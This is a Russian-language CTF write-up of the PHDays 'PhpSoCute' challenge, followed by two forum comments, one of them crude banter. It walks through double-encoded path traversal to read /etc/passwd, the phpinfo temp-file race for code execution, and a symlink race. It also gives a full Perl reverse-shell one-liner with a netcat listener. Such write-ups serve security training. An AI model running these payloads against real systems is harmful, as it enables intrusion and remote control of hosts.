PhpSoCute http://php.hackquest.phdays.com:88/ Дан какой-то бложек, с виду wordpress. Доступны урлы: index.php -> index.html, wp-admin.html Dirbuster нашел pi.php который показывает нам phpinfo. После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html http://php.hackquest.phdays.com:88/pi.php/1html Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно. Пробуем doubleencode (%2569 - i), сработало! Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php - PHP: <?php@header("Location: index.html");?> Удача! Читаем /etc/passwd PHP: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shflag:x:101:65534::/home/flag:/bin/false Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось. О, у нас есть phpinfo и lfi. так это же баг! Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo В это время нам надо проинклудить наш файл через lfi. Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд. ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда. Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a249ab1b8da4dc9d2c654971e83f1c Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection. Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php PHP: $phpcode = '{var_dump(124)}'; Не обращаем внимания на ошибки - просто копируем строку и вставляем в браузер. Смотрим view-souce и видим: Отлично! php код выполняется. Дальше я загнал перловый backconnect shell в base64 PHP: perl -e 'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' И проинклудил такую строку: Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000 На сервере увидел коннект с уязвимого хоста и ура, шелл есть. ls -la / Здесь видно 2 файла от юзера flag: /binary и /flag Прочитать нельзя. Пробуем выполнить команду /binary flag - получаем ошибку. Что же делать? Попробуем сделать symlink race condition Запустим еще один терминал с этим сервером. [Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны] В одном терминале запускаем /binary /tmp/lala в цикле В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala; И получаем флаг. За помощь спасибо mailbrush, yarbabin.
Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?
А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ? Это в каком файле вы обнаружили template inj. ?